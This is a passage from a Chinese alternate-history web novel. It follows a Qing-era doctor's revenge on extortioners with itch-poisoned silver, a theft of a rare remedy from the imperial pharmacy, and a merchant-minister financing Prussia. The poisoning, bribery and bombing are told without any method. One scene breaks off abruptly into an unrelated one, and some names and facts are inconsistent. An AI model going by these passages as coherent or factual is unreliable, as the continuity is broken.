“放你娘的狗屁!”为首的大汉一把揪住黄大夫的衣领,“你根本就没说过什么风险不风险的,就骗我们说一定能治好!”他的口水喷在黄大夫脸上,但黄大夫却连眼睛都没眨一下。 “对,你就是个骗子!”其中一个瘦高个儿也跟着嚷嚷起来,“我二叔家的孩子也是被你害的!” 艾伦姆皱起了眉头。作为一名大夫,他深知有些病症即便尽了全力,也无法挽回生命。这三个人明显是在无理取闹,想要趁机敲诈勒索。 他正想上前说几句公道话,却见黄大夫突然挺直了腰板。那瘦削的身躯仿佛在一瞬间变得挺拔起来,眼神也变得锐利如刀: “说吧,你们想要什么?” 三个壮汉对视一眼,眼中闪过一丝得逞的笑意。为首的大汉松开了黄大夫的衣领,伸出六根粗壮的手指: “六十两银子!这是我爹的命价!” “对,就是六十两!”其他两人也跟着起哄,“一分都不能少!” 周围的百姓听到这个数字,顿时炸开了锅。 “六十两?你们怎么不去抢?” “就是,这都够买三亩上等田了!” “真是狮子大开口啊......” 议论声此起彼伏,但三个壮汉却充耳不闻,依旧虎视眈眈地盯着黄大夫。 艾伦姆也被这个数字吓了一跳。虽然他对大清的物价不太了解,但也知道这绝对是一笔巨款。按照他的理解,这笔钱足够一个普通人家过上好几年了。 然而,让所有人都没想到的是,黄大夫竟然点了点头,脸上看不出丝毫波动: “好,我一次性赔偿你们六十两银钱。”他淡淡地说,“在这里等着。” 说完,他转身走进了屋子。 周围的人群顿时议论纷纷,有人说他是被吓破了胆,有人说他肯定是在拖延时间准备逃跑。艾伦姆却从黄大夫的眼神中看出了一丝异样。那不是惊慌,也不是屈服,反而像是......算计? 没过多久,黄大夫就捧着六个沉甸甸的银锭走了出来。银子在阳光下泛着冷冷的光芒,看得三个壮汉眼睛都直了。 “乾隆十二年度支部铸造的官银,”黄大夫将银子放在桌上,“要不要称一称?” 三个人如同饿狼扑食一般冲上前去,迫不及待地抓起银子,爱不释手地抚摸着。 “不用称了,不用称了!”他们连连摆手,生怕黄大夫反悔似的。 艾伦姆看在眼里,不禁摇了摇头。这三个人的嘴脸,真是让人作呕。刚才还在叫嚣着替父报仇,这会儿见了银子就原形毕露了。 然而,黄大夫却不依不饶地拿出一张纸和朱红的印泥。 “按个手印,画个押。”他冷冷地说,“总不能让我白白送钱吧?” 三个壮汉虽不情愿,但为了这白得的银两还是乖乖地按了手印,写下了保证再也不来纠缠的字据。 艾伦姆看着这一幕,心中暗暗佩服黄大夫的智慧。这份字据,恐怕日后会派上大用场。 等三个人抱着银子离开后,艾伦姆这才走上前去。 “黄先生,”他用不太流利的汉语说道,“我叫艾伦姆,是个西洋大夫。我觉得您刚才的做法很不妥当。” 黄大夫转过头,惊讶地上下打量了艾伦姆一番。 “哦?洋大夫有何高见?” 艾伦姆正色道:“您明明没有过错,为何要屈服于他们的无理要求?这样只会助长他们的气焰。” 黄大夫闻言,嘴角勾起一抹神秘的笑意。 “艾伦姆先生,”他说,“您觉得我是真的在屈服吗?” 艾伦姆一愣,随即恍然大悟。 “您是故意的?”他惊讶地问道。 黄大夫点了点头。 “那些银子,可不是普通的银子。”他低声说,“三天后,他们就会知道厉害了。” 艾伦姆听得一头雾水,但也不好多问。他只是从怀中掏出一张名片,递给黄大夫。 “黄先生,我很佩服您对医术的研究。如果您有兴趣,可以来找我。我认识一位很棒的英国大夫,也许能对您有所帮助。” 黄大夫接过名片,喜形于色。 “多谢艾伦姆先生。”他郑重地说,“我一定会去拜访的。” 艾伦姆点点头,转身离开了。他的脑海中不断回想着刚才发生的一切,对这个神秘的黄大夫越发好奇起来。 三天后,整个京城都传遍了。 那三个敲诈黄大夫的兄弟,莫名其妙染上了一种奇怪的病症。从手开始,一种奇痒无比的皮疹迅速蔓延全身。他们抓挠得皮开肉绽,却丝毫不得缓解。 最小的弟弟更是惨不忍睹,连嘴和脖子都开始发痒,蔓延速度比两个哥哥还要快。整个人痒得在地上打滚,哀嚎不已。 他们跑遍了京城大大小小的医馆,甚至不惜重金请来了太医院的名医,却始终找不到病因。那些名医望闻问切之后,都是摇头叹气,束手无策。 最后,一位年迈的太医直言不讳地告诉他们: “这哪里是病?分明是中毒!你们得罪了什么人?这种毒,除了下毒之人,谁也解不了!” 三兄弟面面相觑,突然异口同声地喊出一个名字: “黄怀瑜!” 他们这才恍然大悟,那六十两银子根本就是个陷阱!黄大夫早就在银子上做了手脚,就等着他们上钩。 “走,找他算账去!”大哥咬牙切齿地说。 第一百六十五章 莫德助黄怀瑜脱身 三人气势汹汹地冲向黄大夫的住处,却发现大门紧闭。 黄怀瑜正在院中打坐调息,突然听到外面传来一阵嘈杂。木门被人用力拍打,发出沉闷的响声,震得院中的枯叶纷纷坠落。 “姓黄的!有本事现身见我!”一声怒吼传来,伴随着砰砰的敲门声。 “这帮无赖,真是给脸不要脸。”黄怀瑜眉头紧蹙,轻声自语,语气中带着几分嘲讽。 外面的叫骂声此起彼伏:“黄怀瑜!你这个缺德鬼!害得我们浑身痒得要命,快出来受死!” 黄怀瑜站在门后,听着外面的喧嚣,嘴角勾起一抹若有若无的笑意。 “既然你们找死,那就别怪我不客气。”他低声呢喃。 他猛地拉开门闩,外面挤作一团的几人顿时失去平衡,跌作一团摔进院中。阳光下,他们脸上的红疹格外醒目,狼狈不堪的模样让人忍俊不禁。 “几位这是何意?”黄怀瑜站在台阶上,居高临下地看着他们,声音平静得不带一丝波澜。 为首的中年男子挣扎着爬起来,指着黄怀瑜破口大骂:“黄怀瑜!你给我们下毒!快把解药交出来!” 黄怀瑜目光在三人身上扫过,看着他们浑身布满红疹,不停地抓挠的样子,心中暗自发笑。这毒虽然不致命,但这般难受的滋味,也够他们受的了。 “我怎么听不懂几位在说什么?”他故作茫然,眉头微皱,“你们这是得了什么皮肤病吗?” “装蒜!就是你在银子上下毒,害得我们浑身痒痒!”另一个男子怒吼道,说话间忍不住又挠了挠胳膊。 黄怀瑜眉头一挑:“哦?你们是说,那天讹诈我的六十两银子?” 三人顿时语塞,尴尬的表情在此刻显得格外精彩。 就在这时,一个须发花白的老者从巷口走来。他拄着竹杖,步履从容地来到院门前。 “黄大夫,何必跟这些人一般见识?”老者温和地说道,“不如告诉他们该如何解决这个问题?” 黄怀瑜看了老者一眼,轻轻点头:“也罢。你们去城南的善堂捐一百两银子,自然会有人救你们。” 三人闻言大喜,连声道谢后匆匆离去,背影显得十分狼狈。 等他们走远,黄怀瑜对老者拱手道:“多谢老丈相助。” 老者摆摆手:“举手之劳罢了。不过黄大夫,你这报复手段是不是太狠了些?” 黄怀瑜叹了口气,目光落在远处的屋檐上:“若不如此,他们岂会知错?不过我已留了后路,让他们去善堂捐银子,也算是为善积德了。” 老者意味深长地看了他一眼:“你有你的道理。不过我劝你还是尽快离开这里吧,免得他们再来寻仇。” 黄怀瑜沉默片刻,点头道:“老丈说得对,我这就收拾东西离开。多谢提醒。” 老者笑着摇摇头:“不必客气。你医术高明,去哪里都能立足。”说完,转身离去,很快消失在街角的阴影中。 黄怀瑜站在院中,望着老者离去的方向出神。院子里一片寂静,只有几只麻雀在屋檐下叽叽喳喳地叫着。 正当他准备转身收拾行李时,院门又被敲响了。这次的敲门声很有节奏,不像之前那般粗暴。 “谁?”黄怀瑜警惕地问道。 “黄大夫,我是英国大夫墨德的助手。”门外传来一个年轻人的声音,“墨德先生邀请您去他那里做客。” 黄怀瑜眼前一亮,想起之前艾伦姆给他的名片。他打开门,看到一个金发碧眼的年轻人站在门外,穿着整洁的西装,举止得体。 “请进。”黄怀瑜做了个请的手势。 年轻人走进院子,看到屋内凌乱的行李,有些惊讶:“黄大夫这是要搬家?” “是啊,准备换个地方住。”黄怀瑜一边收拾东西一边问道,“墨德先生找我有什么事?” “墨德先生听说您的针灸术很厉害,想请您去给他治疗肩周炎。”年轻人说,“而且他对中医很感兴趣,想跟您交流一下医学心得。” 黄怀瑜难掩兴奋:“那真是太好了。我也一直想学习西医知识。” “那不如您直接搬到我们那里住吧?”年轻人提议道,“墨德先生那里有很多空房间。” 黄怀瑜想了想,与其躲避报复搬走,不如跟洋人住一起,这到是个不错的主意。很快,在年轻人的帮助下,他收拾好行李,锁上院门离开了。 西安门的洋房区比他想象中还要气派。墨德大夫的住所是一栋两层的红砖洋房,院子里种满了各种花草。 “啊,黄先生,欢迎!”墨德大夫热情地迎了出来。他是个高大的外国人,蓝眼睛炯炯有神,说起中文来虽然带着口音,但十分流利。 黄怀瑜连忙回礼:“墨德先生,久仰大名。” 墨德带着他参观了整个房子。一楼是诊所,摆满了各种西洋医疗器械;二楼则是起居室和书房。 “这些都是最新的医疗设备,”墨德介绍道,“我看您对这些很感兴趣?” 黄怀瑜点点头,目光在那些闪着金属光泽的器械上流连:“确实,我一直想了解西医是如何治病的。” “那太好了,”墨德拍拍他的肩膀,“我们可以互相学习。我对中医也很感兴趣呢。” 就这样,黄怀瑜在墨德家住了下来。两人大展身手,互相切磋医术。黄怀瑜的针灸术让墨德赞叹不已,而墨德的外科手术技巧也让黄怀瑜大开眼界。 一天晚上,艾伦姆来拜访他们。三人坐在客厅里,一边喝茶一边聊天。 “对了,黄先生,”艾伦姆突然问道,“那三个无赖后来有没有再找你麻烦?” 黄怀瑜摇摇头:“没有。我搬来这里后就再也没见过他们了。” 墨德皱眉道:“那些人太可恶了。要不要我去找官府替你主持公道?” 正说着,外面突然传来一阵急促的敲门声。 墨德站起身,走到门边问道:“谁?” “墨德大夫吗?我们是陈先生的贴身保镖,奉命来请您帮忙。”门外传来一个沉稳的声音。 第一百六十六章 孟明蛇命悬一线 门外停着一辆黑色马车,二十多名彪形大汉簇拥着一个面色苍白的中年人走了进来。 “孟先生?您怎么了?”墨德惊呼道。 被称作孟先生的中年人咳嗽了几声,虚弱地说:“墨德先生,麻烦您了。” 墨德连忙扶着他进屋,让他躺在沙发上。 “黄先生,请您也来看看。”墨德招呼黄怀瑜过来。 两人一起为孟先生诊治。当他们解开孟先生的衣服时,都倒吸了一口冷气。 只见孟先生胸口赫然有两个紫黑色的掌印,看起来触目惊心。 墨德用听诊器仔细检查,而黄怀瑜则在把脉。 片刻后,两人走到一旁商议。 “孟先生的肺部有积液,需要立即穿刺抽水。”墨德低声说。 黄怀瑜点点头:“不错。而且那两个掌印里似乎有某种慢性毒素。我需要一些解毒的草药才行。” 那些护卫闻言,纷纷跪下:“求求两位大夫救救蛇爷!只要您开口,就算是皇宫里的药材我们也能弄来!” 黄怀瑜和墨德对视一眼,都看到了对方眼中的决心。 孟明蛇在陈逸风的势力中有着特殊的地位。 他不仅是陈逸风身边最后的一道防线,更是整个势力与江湖武林之间的纽带。这些年来,江湖武者在满清统治下几乎看不到出路。朝廷高层被满蒙贵族和汉人士大夫把持,根本没给这些江湖豪杰留下半点机会。 武举虽有,但那也是满八旗和汉军绿营的囊中之物。像孟明蛇这样的汉人武者,连靠近朝廷高层的资格都没有。 正因如此,清朝建立以来,江湖中的反抗之声从未停歇。从朱三太子到白莲教,从天地会到太平天国,再到镕帮、煊帮,暗流涌动不断。 陈逸风深知这些散落民间的武装力量不容小觑。他不愿看到这些力量在混乱中消耗殆尽,更不想重演义和团的悲剧。于是,靠着大佬的一手安排,大量武林人士开始向望海、望海聚集。接受了一段战斗特训,这些人陆续进入新军和罚阁。 孟明蛇的威望也随之水涨船高,隐隐有了北方武林盟主的架势。 但此刻的孟明蛇却命悬一线。 墨德大夫额头渗出细密的汗珠,他蹲下身子想要搀扶这些跪着的汉子:“各位请起,这对我来说也是一个挑战。胸腔穿刺手术风险极大,我必须...” “墨德大夫,您在望海的医术,我们都听说过。”另一名弟子抬起头,眼中闪烁着泪光,“只要能救活孟明蛇,让我们做什么都行!” 屋内,孟明蛇躺在床榻上,黄怀瑜正在为他把脉,眉头紧锁。 “黄大夫,如何?”墨德走进屋内,轻声问道。 黄怀瑜摇了摇头:“毒已经攻心,若不尽快清除胸腔积血,恐怕...” 话未说完,孟明蛇又是一阵剧烈咳嗽,嘴角溢出黑色的血丝。 “我来开药方。”黄怀瑜快速写下一串药名,“这些药材虽然不能解毒,但可以暂时稳住病情。” 一名护卫接过药方,正要离开,黄怀瑜又补充道:“还缺一味关键的药。” “什么药?” “太医院藏的九华玉龙丹,是明朝传下来的秘方,与市面上的紫金锭大不相同。” 几名护卫对视一眼,立刻明白了事情的严重性。其中一人沉声道:“我这就去找十四娘!” 夜色渐深,北京城内却暗流涌动。 墨德大夫已经准备好了手术器械,他看着孟明蛇:“孟先生,我这里没有麻药,需要用绳子固定您的手脚,以免...” “不必了。”孟明蛇淡然一笑,眼中闪过一丝倔强,“我这把老骨头,还能经得起这点苦。” 黄怀瑜在一旁帮忙消毒器械,墨德不厌其烦地叮嘱:“记住,先用开水煮过,再用酒精擦拭。上次你那个盲肠手术失败,就是因为消毒不到位。” 长针刺入孟明蛇胸腹之间,足有三寸深。孟明蛇紧咬牙关,额头上的青筋清晰可见,但脸上依然保持着平静。 “听说你就是京城有名的黄怀瑜?”孟明蛇强忍着剧痛,声音有些沙哑,“遇到什么麻烦了?说来听听。” 黄怀瑜一边观察针管中抽出的积血,一边苦笑:“说来话长...” 抽出的积血足足装满五大针管,鲜血染红了地面,手术才算完成。孟明蛇的呼吸逐渐平稳,脸色也略有好转。 “淤血已经清理干净。”墨德擦了擦汗,“以您的体魄,应该很快就能康复。这些药要按时服用,有助于恢复。” “多谢。”孟明蛇虽然还在轻咳,但已经能做深呼吸了。 与此同时,十四娘的密信也送到了。 “蛇爷,十四娘说,已经派人打点了太医院。”护卫低声禀报,“夜深可以行动” 孟明蛇闭目沉思片刻,睁开眼:“好,找几个功夫好的兄弟去皇宫,再派几个人去裕王府,咱们跟他们来一个调虎离山,声东击西” 北京城的冬夜格外寂静,唯有后海的冰面上传来阵阵打斗声。刀光剑影间,一群黑衣人正与紫禁城的秘密护卫激战。老祖宗的白发在寒风中飘扬,他身边的徒子徒孙们如幽灵般在屋顶间穿梭。 “萤火之光,也敢与皓月争辉?”老祖宗正要继续说些场面话,对面的黑衣人却已掏出洋枪,砰砰几声枪响,四名弟子应声倒地。 “无耻!”老祖宗勃然大怒,双手紧握成拳,青筋暴起,“用这等下作手段,简直是武林中人的耻辱!” 寒风呼啸,雪花纷飞,他一声令下,手下护卫分成两队,向黑衣人包抄过去。然而这些人根本不按江湖规矩出牌,不仅有洋枪,还撒毒粉、扔石灰,各种阴险招数层出不穷。 “咳咳咳...”一名护卫捂着喉咙倒下,“老祖宗...小心...他们用了...毒...” 老祖宗眼看着徒子徒孙一个个倒下,怒气攻心差点炸裂。他双目赤红,身形如电,连续击退数名黑衣人。可他不知道,这一切都是调虎离山之计。 第一百六十七章 紫禁城偷药 此时,紫禁城东华门外,六道黑影正悄无声息地潜伏着。月光下,能隐约看见他们腰间别着精巧的机关装置。太医院就在东三所,那里藏着他们此行的真正目标。 “记住,速战速决。”为首的黑衣人低声道,声音沙哑中带着一丝急切,“时间就是生命。” 六人如猿猴般敏捷,借着绳索攀上城墙。早已收买的八名守城士兵正焦急等待,不时朝四周张望,生怕被人发现。 “银子呢?”一个守城士兵压低声音问,眼中闪烁着贪婪的光芒。 黑衣人从怀中掏出一叠银票:“一万两银票在此,剩下的事成之后自有人送到府上。” 守城士兵接过银票,快速数了数,虽有不满,但也只能认了。六名黑衣人很快消失在黑暗中,直奔东三所而去。 太医院内,王太医正坐立不安。他的手不停地颤抖,额头上渗出细密的汗珠。傍晚时分,他收到消息说孙子已落入贼手。对方要他配合偷取九华玉龙丹,这可是御药房最珍贵的秘药。 他脑海中浮现出孙子天真的笑脸,不由得攥紧了拳头。 窗外响起轻微的脚步声,几个黑影无声无息地潜了进来。王太医猛地站起身,差点打翻了桌上的茶杯。 “王太医,想必你已考虑清楚?”黑衣人冷冷道,眼中闪过一丝威胁的光芒。 “是...是的。”王太医颤声道,豆大的汗珠从额头滑落,“只求诸位事后能护送我一家离开京城。” “放心,江南、两广任你选。带路吧。”黑衣人的声音中带着一丝不耐烦。 有了内应,偷药变得轻而易举。守门太监还殷勤地为王太医打着灯笼,丝毫不知这位太医已经背叛朝廷。昏黄的灯光下,王太医的影子显得格外佝偻。 拿到九华玉龙丹后,黑衣人给了王太医一千两银票:“一周后你就该退位让贤了,我们会来接你。若敢泄露半个字...”他做了个抹脖子的动作。 王太医面如死灰地坐在椅上,双手无力地垂在身侧。这伙人为了一枚紫金锭,竟敢火烧裕王府,引走紫禁城的护卫,手段之大胆令人心惊。 后海的战斗还在继续。老祖宗已经察觉到不对劲,可黑衣人纠缠不休,让他无法脱身。就在这时,裕王府方向传来一声震天巨响。 “轰!”爆炸声响彻夜空,火光冲天。 “老祖宗,还有心思跟我们纠缠?二百斤火药,够裕王府喝一壶的了。”黑衣人冷笑道,声音中充满讥讽。 老祖宗脸色大变,只能带人赶往裕王府。等到达时,花园里的假山已被炸成废墟,碎石散落一地。浓烟滚滚,火光映红了半边天。 裕王站在书房门口,浑身发抖:“大逆不道!这些天国余孽,简直无法无天!” 他用力抓住老祖宗的袖子,:“你看看,连北京城都不安全了。我要立刻面见皇太后禀报,必须加强防卫。快保护陛下周全!” 天色渐明,裕王遇刺的消息已传遍京城。满城铁蹄急促,马蹄声震天,衙役们四处抓人。百姓们关紧门窗,生怕惹祸上身。 而在西安门的一处宅院内,有人正在查看那枚九华玉龙丹。烛光下,紫金锭泛着诡异的光泽。 “太好了!有了这个,孟明蛇的毒一定能解。”一个年轻人激动地说道,眼中闪烁着希望的光芒。 “别高兴得太早。”旁边一个老者沉声道,“朝廷不会善罢甘休,我们要做好准备。” “是啊,”另一人叹了口气,“这次行动虽然成功,但也打草惊蛇了。老祖宗那边肯定会加强防卫,后面的计划更难执行了。” 屋内陷入沉默,只有烛火不时跳动,在墙上投下摇曳的影子。 与此同时,紫禁城内,太后正在召见大臣们。她的脸色阴沉得可怕:“这些乱臣贼子,竟敢在京城闹事!传哀家旨意,严查此案,务必将凶手缉拿归案!” 大臣们纷纷应是,但心中都清楚,能在京城如此肆无忌惮,背后必定有大势力支持。 中医自古便与巫术相通,这是人尽皆知的事情。那些神秘的药方里,总是掺杂着许多令人难以理解的禁忌,仿佛蕴含着上古时期巫术的影子。 明朝御制的九华玉龙丹确实有其独特之处,虽不至于如传说中那般神乎其神,但也绝非寻常药物可比。孟明蛇服下药丸后,呼吸渐趋平稳,面色也不再像之前那般苍白。 黄怀瑜擦了擦额头的汗水,长舒一口气。他转头看向一旁的墨德大夫,对方正专注地记录着什么。昏黄的烛光下,墨德大夫的金丝眼镜反射着微弱的光芒。 “这种药效...实在是令人惊叹。”墨德大夫抬起头,眼中闪烁着求知的光芒,“黄先生,能否详细讲解一下配方的来历?” 黄怀瑜摇了摇头,声音中带着几分疲惫:“这是祖传秘方,具体来历已经无从考证。不过...”他顿了顿,“确实有些不同寻常的地方。” 两人相谈甚欢,丝毫没注意到天色已经渐亮。直到街上传来阵阵喧哗声,他们才意识到已经忙碌了整整一夜。 推开厢房门时,一阵轻微的鼾声传来。艾伦姆歪在太师椅上,身上盖着一件不知从何处找来的棉大褂。他的金色短发有些凌乱,显然是在守夜时不知不觉睡着了。 “天啊,我们竟把艾伦姆给忘了。”墨德大夫懊恼地说道,“昨晚要不是他帮忙维持秩序,恐怕病人都要乱成一团了。” 黄怀瑜点点头:“这位普鲁士密使倒是个热心人。” “可惜啊...”墨德大夫叹了口气,“由于普鲁士还未与大清建交,他只能独自租房居住。作为欧洲人,我太明白这种孤独了。” 就在两人准备悄悄离开时,一个清脆的女声突然在身后响起:“这位就是普鲁士密使艾伦姆?”声音中带着几分戏谑,却又不失优雅。 艾伦姆没有立即回答,而是仔细打量着眼前这个神秘的东方商人。 “说!你到底是谁?”艾伦姆加重了手上的力道,声音低沉而危险。 “但这些还不是重点。”陈逸风端起酒杯,“重点是,我想帮助普鲁士。” 他打了个手势,几名护卫抬进一口沉重的木箱。箱子打开的瞬间,银光闪烁,照得艾伦姆眯起了眼睛。 “这是......”艾伦姆瞪大了眼睛,声音有些发颤。 第一百六十八章 陈逸风豪赌普鲁士 “一百万两纹银。”陈逸风淡淡道,“足够装备五到十万陆军了。而且,未来三年,每年都会有一百五十万两的秘密借款。” 艾伦姆猛地站起身,椅子在地上划出刺耳的声响:“你疯了!一个商人怎么可能......” “谁说我只是个商人?”陈逸风示意孙忠义取来另一个红木匣子。 当那枚翡翠印玺出现时,艾伦姆彻底愣住了。阳光透过窗棂,在翡翠上折射出莹润的光泽。 “琉球王国首相印玺。”陈逸风轻声道,“我以这个身份,向德意志提供援助。” 艾伦姆沉默良久,目光在印玺和银箱之间来回游移:“你想要什么?” “三个条件。”陈逸风竖起手指,“第一,让我的三支新军连队以雇佣兵身份参加普奥战争。” “第二,接收一到两千名中国学生赴德留学。” “第三,统一后,为琉球建造铁甲战舰。” 艾伦姆深吸一口气,眉头紧锁:“这些条件......” “很合理,不是吗?”陈逸风笑道,“本金可以用军工产品抵消,利息就用这三个条件来还。我想,这个交易,连上帝都无法拒绝。” 艾伦姆看着眼前的东方人,终于明白了俾姆麦为什么要他来东方。这里,有着他们意想不到的机遇。 “为德意志。”艾伦姆举起酒杯。 “为德意志。”陈逸风笑着碰杯。 酒过三巡,夜色渐深。 艾伦姆离开时,已是月上中天。他站在马车旁,回头看了一眼那个仍在灯火通明的院子。 “真是个有趣的东方人。”他喃喃自语,“俾姆麦阁下,您果然慧眼如炬。” 马车缓缓驶离,消失在北京城的暗夜中。 第二天,商行的办公室内,陈逸风说完自己昨天跟艾伦姆谈判的条件后,众人陷入沉思。 陈逸风站在窗前,望着远处的海港,眉头紧锁。远处传来阵阵汽笛声,一艘艘商船在港口进进出出。 白银源源不断地流入中国,这些都是美国人的功劳。没有他们的太平洋舰队护航,这些财富根本运不进来。 办公室里一片寂静,只有钟摆滴答作响。陈逸风能感受到身后众人灼热的目光,他们都在等待他的解释。 “大人......”一个下属终于忍不住开口,声音中带着明显的颤抖,“一百万两白银,那可是整整250万美元啊!” “而且您还要连续三年追加150万两......”另一个官员也跟着说道,额头上已经渗出细密的汗珠,“这是要把明月商行的家底都掏空吗?” 梁镳掌柜更是气得直跺脚,他那张饱经风霜的脸涨得通红:“先生啊,你这是要我的老命!虽说明月商行大部分是你的股份,可也不能这么败家啊!” 陈逸风转过身,看着这群忠心耿耿的下属。“诸位可知道,为什么俄国要在新疆投资小沙特?” 众人面面相觑,不明白他为何突然提起这个。 “因为敌人的敌人就是朋友。”陈逸风走到挂在墙上的世界地图前,“现在的世界,已经不是闭门造车就能过活的时代了。” 他的手指划过欧洲大陆,在德意志诸邦的位置停留:“德意志虽然现在四分五裂,但它必将统一。而这个统一的德意志,将会成为改变世界格局的重要力量。” “鲁德步枪。”他的手指点在普鲁士的位置,“先进的造船技术。”手指移到不莱梅,“还有诺贝姆刚刚带到不莱梅的硝化甘油专利......” 办公室里的气氛开始发生微妙的变化。几个年轻的幕僚眼中闪过兴奋的光芒,但老成持重的官员们依然面带忧色。 梁镳掌柜皱着眉头:“可是先生,万一他们拿了钱不认账呢?这可不是小数目啊!” “德国人最重信誉。”陈逸风嘴角微扬,“况且,我们帮得了德国,自然也帮得了法国。俾姆麦不会为了这点钱,把国运押在悬崖边。” 他走到书桌前,取出一份密封的文件:“这是艾伦姆带来的合同,普鲁士承诺会为我们提供最先进的军工技术。” “不仅如此,”他继续说道,“他们还答应让我们的人进入克虏伯兵工厂学习。这可是连英国人都求之不得的机会。” 办公室里的气氛再次变得凝重。众人都明白,这不仅仅是一笔生意,更是一次改变命运的机会。 “先生,我明白了。”一个年轻的幕僚站起身,“您是想借此机会培养我们自己的军工人才!” 陈逸风点点头:“不错。我要派三个连队随艾伦姆去德国,名义上是志愿兵,实则是去学习。” “这半年来新军一直在学英语,从中挑选三百精通外语的精锐,护送艾伦姆返回欧洲。”他的目光扫过在场的每一个人,“这些人将是我们未来的种子。” 瑾周信第一个站出来,胸膛挺得笔直:“大人,我愿带队!” “还有我!”诸葛林紧跟其后,眼中闪烁着坚定的光芒。 “算我一个!”苗烈也不甘示弱,拳头攥得发白。 陈逸风看着这些年轻的面孔,心中五味杂陈。他们都是跟随自己多年的老部下,每一个都是可以托付性命的兄弟。 “这次任务凶险异常。”他沉声说道,“你们要穿越半个地球,在陌生的土地上学习。那里的人不会用友善的眼光看待你们,你们要承受的不仅仅是思乡之苦。” 办公室里一片寂静,但没有一个人退缩。 “带上那面最大的陈字魂旗。”陈逸风的声音有些哽咽,“当魂旗升起时......” 话未说完,他突然转身面向窗外。没有人看见他眼角的泪水,但所有人都听出了他声音中的颤抖。 梁镳掌柜叹了口气,站起身来:“罢了罢了,既然是为了大业,老朽也豁出去了。这钱,我们出了!” 其他人也纷纷表态,办公室里很快充满了慷慨激昂的声音。 陈逸风依然望着窗外。港口的船只依旧在进进出出,海鸥在空中盘旋,一切如常。 这是一个弱肉强食的时代,满清在列强面前早已跪地求饶。而这三百勇士,将用生命去证明,华夏的血性尚存。 他们将在异国他乡学习、战斗,用鲜血和汗水换取尊严。这不仅仅是一场豪赌,更是一次破釜沉舟的壮举。 第一百六十九章 陈逸风会琉球选拔新军 夕阳西下,最后一缕阳光透过窗户洒在办公室里。陈逸风终于转过身,脸上已经恢复了平静:“开始准备吧,时间不等人。” 众人齐声应是,纷纷离开办公室。只有梁镳掌柜留了下来,他走到陈逸风身边,拍了拍他的肩膀:“先生啊,你是对的。这钱,值!” 陈逸风笑了笑,没有说话。 窗外的海风依然呼啸,带着咸腥的气息。这是大海的味道,也是机遇的味道。在这个风起云涌的时代,唯有抓住机遇,才能改变命运。 接下来的日子里,望海和望海的新军陷入了一场严酷的选拔。 训练场上,士兵们挥汗如雨。除了体能测试,更重要的是英语考核。教官们来回巡视,随时用英文提问。稍有迟疑,就意味着失去这次机会。 “Listen carefully! What"s the structure of this sentence?”教官厉声问道。 一名士兵额头冒汗,结结巴巴地回答着。旁边的战友们屏住呼吸,生怕影响到他。 梁镳掌柜亲自监考,不时在本子上记录着什么。这次选拔不仅要考察外文水平和接受能力,更要确保忠诚度。所幸这支军队都是陈逸风亲手训练,在琉球血火之夜中经受过考验。 经过反复筛选,梁镳最终选定一艘荷兰中型疾翼船作为远洋运输工具。这艘商船将载着艾伦姆和三百新军前往欧洲。 距春节还有十五天,陈逸风决定亲自护送密使和新军到琉球。 四天后,当陈逸风再次踏上琉球的土地时,一股温暖的海风迎面扑来。北方还在寒冬,而这里却温暖如春,一件薄衫便足够了。 “大人快看!”苗烈指着远处,声音因兴奋而提高,“首里城南侧的高地,从美国购买的280毫米岸防巨炮正在安装,足以控制整个澜江港口!” 远处的高地上人影闪动,无数码头工人正用长绳拖拽着岸防炮往上爬。汗水在阳光下闪闪发亮,呐喊声此起彼伏。 这是一个繁华热闹的海港都市。美国采购的物资正在紧锣密鼓地卸货:战场重炮、新式枪械、堆积如山的弹药,甚至还有一条完整的炸药生产车间。码头上,各国商人往来穿梭,讨价还价的声音此起彼伏。 “大人简直是天纵奇才。”苗烈介绍道,“就凭您和美国的关系,现在琉球的洋人以美国人居多。他们携带海量投资计划来寻求琉球王室合作,泊位停靠的船舶有六成以上挂着美国旗。” 艾伦姆站在甲板上,目瞪口呆地看着这一切。在他的印象中,琉球不过是太平洋上一串微不足道的岛国,连腐朽的满清都不如。 但亲眼目睹这繁华都市,又听闻陈逸风的建设计划,这位北欧骑士终于心服口服。这位琉球宰相,确实是位西学大宗师。 商船靠岸时,码头上已站满了身着蓝色制服的军队。琉球留守的七百多新军全都集结在此,整齐的队列延伸到码头尽头。 “全体都有,向宰相大人行礼!” 整齐的军礼声中,陈逸风和随行五十名士兵也向码头还礼。阳光下,军服上的铜扣闪烁着耀眼的光芒。 “大人,您终于露面了!”端木煊火急火燎地冲上来,“收到您的飞鸽传书,琉球要塞都沸腾了。人人都想争取去欧洲的名额,血书都堆成山了!” “胡闹!”陈逸风瞪他一眼,“你小子几斤几两的外语本事我还不了解?abc能认识十个就让你去!” 端木煊顿时像霜打的茄子,耷拉着脑袋退到一边。 这时,码头角落的一支连队引起了陈逸风的注意。这支队伍异常沉默,但眼神中充满期待。队伍最前方,野平太神色严峻地望着他。 他也想为外籍连队争取这次机会,却因身为日本人而有所顾虑。 “你怎么不说话?”陈逸风语气冰冷,“难道没有一点进取心?” 野平太顿时涨红了脸,用不太流利的英文回答:“我当然有进取心。但异族营明白,要赢得尊重靠的是实力,不是嘴皮子。有没有本事,训练场上见,战场上见!” “你说什么?”苗烈急了,“谁在这胡咧咧呢?谁耍嘴皮子了,我们队伍训练场上什么时候输给过你们?外文水平也比你们强!” 码头上的气氛顿时紧张起来,双方士兵都握紧了拳头。 “够了!”陈逸风一声断喝,所有人立刻安静下来。他环视四周:“我只在琉球待三天,能不能去欧洲,等你们的考核结果,都散了吧!” 话音刚落,士兵们便迅速散去,只留下海浪拍打码头的声音。 陈逸风和约瑟夫连夜赶制的考卷,在油墨的气息中一张张印刷而出。印刷机发出规律的轰鸣声,墨香四溢的纸张整齐地堆叠着,在昏黄的灯光下投下层叠的阴影。 “约瑟夫,这套试题如何?”陈逸风拿起一张试卷,仔细检查着每一道题目。 约瑟夫推了推鼻梁上的眼镜,那是一副从英国定制的高级货,镜片在灯光下泛着微光:“先生放心,这些题目都经过反复推敲,既考察基础知识,又能测试实战能力。” 陈逸风满意地点点头,目光扫过试卷上那些密密麻麻的文字。这些题目涵盖了从火炮操作到战术运用的方方面面,每一题都经过精心设计。 军营里的士兵们正为明天的考试忙得焦头烂额。平日里桀骜不驯的家伙们,此刻全都捧着书本,挤在油灯下奋笔疾书。有人嘴里念念有词,有人抓耳挠腮,还有人干脆躺在地上,把书本举过头顶,一副要与知识融为一体的架势。 “报告!”一个年轻的传令兵快步跑来,“宰相大人,尚泰王和沈达华王爷请您上城墙一叙。” 